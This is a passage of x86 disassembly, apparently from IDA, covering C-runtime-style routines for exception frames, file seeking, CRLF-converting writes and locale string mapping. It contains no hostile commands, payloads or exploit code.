		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_422D0B
		cmp	byte ptr [eax+8], 0
		jz	loc_422D0B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_422D0B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_422BFF
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422BF0:				; CODE XREF: sub_422B62+F5j
		push	eax
		call	sub_422D8D
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422D07
; ---------------------------------------------------------------------------


loc_422BFF:				; CODE XREF: sub_422B62+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_422C59
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41D670
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422D07
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422D07
		add	esi, 8
		push	esi
		jmp	short loc_422BF0
; ---------------------------------------------------------------------------


loc_422C59:				; CODE XREF: sub_422B62+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422CA1
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41D670
		add	esp, 0Ch
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422CA1:				; CODE XREF: sub_422B62+103j
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	dword ptr [esi+18h]
		call	sub_424FB8
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		test	byte ptr [esi],	4
		jz	short loc_422CE8
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D2A5
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422CE8:				; CODE XREF: sub_422B62+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D29E
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422D02:				; CODE XREF: sub_422B62+6Aj
					; sub_422B62+7Cj ...
		call	sub_422E52


loc_422D07:				; CODE XREF: sub_422B62+98j
					; sub_422B62+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_422D0B:				; CODE XREF: sub_422B62+2Ej
					; sub_422B62+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422B62	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422DFC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422D26	proc near		; CODE XREF: sub_422651+170p
					; sub_422AF2+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278E0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422D6D
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_422D6D
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41D29E
		or	[ebp+var_4], 0FFFFFFFFh


loc_422D6D:				; CODE XREF: sub_422D26+2Aj
					; sub_422D26+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422D26	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422DFC

; =============== S U B	R O U T	I N E =======================================



sub_422D8D	proc near		; CODE XREF: sub_422B62+8Fp
					; sub_422B62+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_422DAE
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_422DAE:				; CODE XREF: sub_422D8D+12j
		pop	esi
		retn
sub_422D8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DB0	proc near		; CODE XREF: sub_41D331+40p
					; sub_4228FD+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41D61D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_422DEF
		mov	ecx, 2


loc_422DEF:				; CODE XREF: sub_422DB0+38j
		push	ecx
		call	sub_41D61D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422DB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DFC	proc near		; CODE XREF: sub_422651:loc_4227F3j
					; sub_42299B:loc_4229ACj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424FD0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DBE84
		test	eax, eax
		jz	short loc_422E44
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_422E40
; ---------------------------------------------------------------------------


loc_422E39:				; DATA XREF: .packed:00427900o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422E3D:				; DATA XREF: .packed:00427904o
		mov	esp, [ebp+var_18]


loc_422E40:				; CODE XREF: sub_422DFC+3Bj
		and	[ebp+var_4], 0


loc_422E44:				; CODE XREF: sub_422DFC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422E4D:				; DATA XREF: .packed:004278F8o
		jmp	loc_424FD0
sub_422DFC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422E52	proc near		; CODE XREF: sub_41D4D3+23p
					; sub_41D4D3:loc_41D53Ep ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427908
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43D454
		test	eax, eax
		jz	short loc_422E9A
		mov	[ebp+var_4], 1
		call	eax ; sub_422DFC
		jmp	short loc_422E96
; ---------------------------------------------------------------------------


loc_422E8F:				; DATA XREF: .packed:00427918o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422E93:				; DATA XREF: .packed:0042791Co
		mov	esp, [ebp+var_18]


loc_422E96:				; CODE XREF: sub_422E52+3Bj
		and	[ebp+var_4], 0


loc_422E9A:				; CODE XREF: sub_422E52+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422EA3:				; DATA XREF: .packed:00427910o
		jmp	sub_422DFC
sub_422E52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422EA8	proc near		; CODE XREF: sub_41D9B3+7p
					; sub_41D9B3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DD3A8
		push	esi
		cmp	eax, 3
		jnz	short loc_422ED1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41E717
		test	eax, eax
		pop	ecx
		jz	short loc_422ECE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422F06
; ---------------------------------------------------------------------------


loc_422ECE:				; CODE XREF: sub_422EA8+1Cj
		push	esi
		jmp	short loc_422EF8
; ---------------------------------------------------------------------------


loc_422ED1:				; CODE XREF: sub_422EA8+Ej
		cmp	eax, 2
		jnz	short loc_422EF5
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F472
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422EF5
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422F06
; ---------------------------------------------------------------------------


loc_422EF5:				; CODE XREF: sub_422EA8+2Cj
					; sub_422EA8+43j
		push	[ebp+arg_0]


loc_422EF8:				; CODE XREF: sub_422EA8+27j
		push	0
		push	dword_4DD3A4
		call	dword_42704C	; RtlSizeHeap


loc_422F06:				; CODE XREF: sub_422EA8+24j
					; sub_422EA8+4Bj
		pop	esi
		leave
		retn
sub_422EA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422F09	proc near		; CODE XREF: sub_41DA8B+67p
					; sub_41F9BC+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DD160
		push	esi
		push	edi
		jnb	short loc_422F8B
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD060h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_422F8B
		push	eax
		call	sub_4240AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_422F4D
		mov	dword_4DBDEC, 9
		jmp	short loc_422F9C
; ---------------------------------------------------------------------------


loc_422F4D:				; CODE XREF: sub_422F09+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	dword_427128	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_422F6D
		call	dword_427094	; RtlGetLastWin32Error
		jmp	short loc_422F6F
; ---------------------------------------------------------------------------


loc_422F6D:				; CODE XREF: sub_422F09+5Aj
		xor	eax, eax


loc_422F6F:				; CODE XREF: sub_422F09+62j
		test	eax, eax
		jz	short loc_422F7C
		push	eax
		call	sub_420C7F
		pop	ecx
		jmp	short loc_422F9C
; ---------------------------------------------------------------------------


loc_422F7C:				; CODE XREF: sub_422F09+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_422F9F
; ---------------------------------------------------------------------------


loc_422F8B:				; CODE XREF: sub_422F09+Dj
					; sub_422F09+2Aj
		and	dword_4DBDF0, 0
		mov	dword_4DBDEC, 9


loc_422F9C:				; CODE XREF: sub_422F09+42j
					; sub_422F09+71j
		or	eax, 0FFFFFFFFh


loc_422F9F:				; CODE XREF: sub_422F09+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_422F09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422FA3	proc near		; CODE XREF: sub_41DA8B+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_422FBF
		mov	[edi+4], ebx


loc_422FBF:				; CODE XREF: sub_422FA3+17j
		push	1
		push	ebx
		push	esi
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42302D
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422FE4
		sub	eax, [edi+4]
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_422FE4:				; CODE XREF: sub_422FA3+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_42301E
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DD060[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_423035
		mov	edx, ecx


loc_42300F:				; CODE XREF: sub_422FA3+79j
		cmp	edx, eax
		jnb	short loc_423035
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42301B
		inc	[ebp+var_8]


loc_42301B:				; CODE XREF: sub_422FA3+73j
		inc	edx
		jmp	short loc_42300F
; ---------------------------------------------------------------------------


loc_42301E:				; CODE XREF: sub_422FA3+50j
		test	dl, 80h
		jnz	short loc_423035
		mov	dword_4DBDEC, 16h


loc_42302D:				; CODE XREF: sub_422FA3+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_423035:				; CODE XREF: sub_422FA3+68j
					; sub_422FA3+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_423043
		mov	eax, [ebp+var_8]
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_423043:				; CODE XREF: sub_422FA3+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_4230EE
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42305C
		and	[ebp+var_8], edx
		jmp	loc_4230EE
; ---------------------------------------------------------------------------


loc_42305C:				; CODE XREF: sub_422FA3+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD060h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_4230E8
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4230AF
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_42309A:				; CODE XREF: sub_422FA3+104j
		cmp	eax, ecx
		jnb	short loc_4230A9
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4230A6
		inc	[ebp+arg_0]


loc_4230A6:				; CODE XREF: sub_422FA3+FEj
		inc	eax
		jmp	short loc_42309A
; ---------------------------------------------------------------------------


loc_4230A9:				; CODE XREF: sub_422FA3+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_4230E3
; ---------------------------------------------------------------------------


loc_4230AF:				; CODE XREF: sub_422FA3+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_422F09
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4230D6
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4230D6
		test	ch, 4
		jz	short loc_4230D9


loc_4230D6:				; CODE XREF: sub_422FA3+124j
					; sub_422FA3+12Cj
		mov	eax, [edi+18h]


loc_4230D9:				; CODE XREF: sub_422FA3+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_4230E3:				; CODE XREF: sub_422FA3+10Aj
		jz	short loc_4230E8
		inc	[ebp+arg_0]


loc_4230E8:				; CODE XREF: sub_422FA3+D9j
					; sub_422FA3:loc_4230E3j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_4230EE:				; CODE XREF: sub_422FA3+A4j
					; sub_422FA3+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_4230F6:				; CODE XREF: sub_422FA3+3Cj
					; sub_422FA3+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4230FB	proc near		; CODE XREF: sub_41DB54+A2p
					; sub_41E42B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DD160
		push	esi
		push	edi
		jnb	loc_42328F
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD060h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_42328F
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42314C


loc_423145:				; CODE XREF: sub_4230FB+177j
		xor	eax, eax
		jmp	loc_4232A3
; ---------------------------------------------------------------------------


loc_42314C:				; CODE XREF: sub_4230FB+48j
		test	al, 20h
		jz	short loc_42315C
		push	2
		push	edi
		push	ecx
		call	sub_422F09
		add	esp, 0Ch


loc_42315C:				; CODE XREF: sub_4230FB+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_42322B
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_423263


loc_42317C:				; CODE XREF: sub_4230FB+F5j
		lea	eax, [ebp+var_414]


loc_423182:				; CODE XREF: sub_4230FB+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4231B6
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4231A1
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4231A1:				; CODE XREF: sub_4230FB+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_423182


loc_4231B6:				; CODE XREF: sub_4230FB+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_4270F0	; WriteFile
		test	eax, eax
		jz	short loc_423220
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_4231F2
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42317C


loc_4231F2:				; CODE XREF: sub_4230FB+EAj
					; sub_4230FB+12Ej
		xor	edi, edi


loc_4231F4:				; CODE XREF: sub_4230FB+150j
					; sub_4230FB+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_42328A
		cmp	[ebp+arg_0], edi
		jz	short loc_423263
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_423258
		mov	dword_4DBDEC, 9
		mov	dword_4DBDF0, eax
		jmp	loc_4232A0
; ---------------------------------------------------------------------------


loc_423220:				; CODE XREF: sub_4230FB+E0j
		call	dword_427094	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_4231F2
; ---------------------------------------------------------------------------


loc_42322B:				; CODE XREF: sub_4230FB+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	dword_4270F0	; WriteFile
		test	eax, eax
		jz	short loc_42324D
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_4231F4
; ---------------------------------------------------------------------------


loc_42324D:				; CODE XREF: sub_4230FB+145j
		call	dword_427094	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_4231F4
; ---------------------------------------------------------------------------


loc_423258:				; CODE XREF: sub_4230FB+10Fj
		push	[ebp+arg_0]
		call	sub_420C7F
		pop	ecx
		jmp	short loc_4232A0
; ---------------------------------------------------------------------------


loc_423263:				; CODE XREF: sub_4230FB+7Bj
					; sub_4230FB+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_423278
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_423145


loc_423278:				; CODE XREF: sub_4230FB+16Fj
		mov	dword_4DBDEC, 1Ch
		mov	dword_4DBDF0, edi
		jmp	short loc_4232A0
; ---------------------------------------------------------------------------


loc_42328A:				; CODE XREF: sub_4230FB+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_4232A3
; ---------------------------------------------------------------------------


loc_42328F:				; CODE XREF: sub_4230FB+15j
					; sub_4230FB+37j
		and	dword_4DBDF0, 0
		mov	dword_4DBDEC, 9


loc_4232A0:				; CODE XREF: sub_4230FB+120j
					; sub_4230FB+166j ...
		or	eax, 0FFFFFFFFh


loc_4232A3:				; CODE XREF: sub_4230FB+4Cj
					; sub_4230FB+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4230FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4232A8	proc near		; CODE XREF: sub_41DE4A+47p
					; sub_41DE4A+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DBE88, edi
		jnz	short loc_42331E
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427920
		mov	esi, 100h
		push	esi
		push	edi
		call	dword_427044	; LCMapStringW
		test	eax, eax
		jz	short loc_4232FC
		mov	dword_4DBE88, ebx
		jmp	short loc_42331E
; ---------------------------------------------------------------------------


loc_4232FC:				; CODE XREF: sub_4232A8+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset word_4CB89C
		push	esi
		push	edi
		call	dword_427048	; LCMapStringA
		test	eax, eax
		jz	loc_423436
		mov	dword_4DBE88, 2


loc_42331E:				; CODE XREF: sub_4232A8+2Ej
					; sub_4232A8+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_423333
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4234CC
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_423333:				; CODE XREF: sub_4232A8+79j
		mov	eax, dword_4DBE88
		cmp	eax, 2
		jnz	short loc_42335A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427048	; LCMapStringA
		jmp	loc_423438
; ---------------------------------------------------------------------------


loc_42335A:				; CODE XREF: sub_4232A8+93j
		cmp	eax, 1
		jnz	loc_423436
		cmp	[ebp+arg_18], edi
		jnz	short loc_423370
		mov	eax, dword_4DBEA4
		mov	[ebp+arg_18], eax


loc_423370:				; CODE XREF: sub_4232A8+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	dword_4270E8	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_423436
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4233CB
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_4233CB:				; CODE XREF: sub_4232A8+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_423436
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	dword_4270E8	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_423436
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427044	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_423436
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_42344A
		cmp	[ebp+arg_14], edi
		jz	loc_4234C5
		cmp	esi, [ebp+arg_14]
		jg	short loc_423436
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427044	; LCMapStringW
		test	eax, eax
		jnz	loc_4234C5


loc_423436:				; CODE XREF: sub_4232A8+66j
					; sub_4232A8+B5j ...
		xor	eax, eax


loc_423438:				; CODE XREF: sub_4232A8+ADj
					; sub_4232A8+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42344A:				; CODE XREF: sub_4232A8+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42347E
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_42347E:				; CODE XREF: sub_4232A8+1C2j
		cmp	ebx, edi
		jz	short loc_423436
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427044	; LCMapStringW
		test	eax, eax
		jz	short loc_423436
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_4234A5
		push	edi
		push	edi
		jmp	short loc_4234AB
; ---------------------------------------------------------------------------


loc_4234A5:				; CODE XREF: sub_4232A8+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


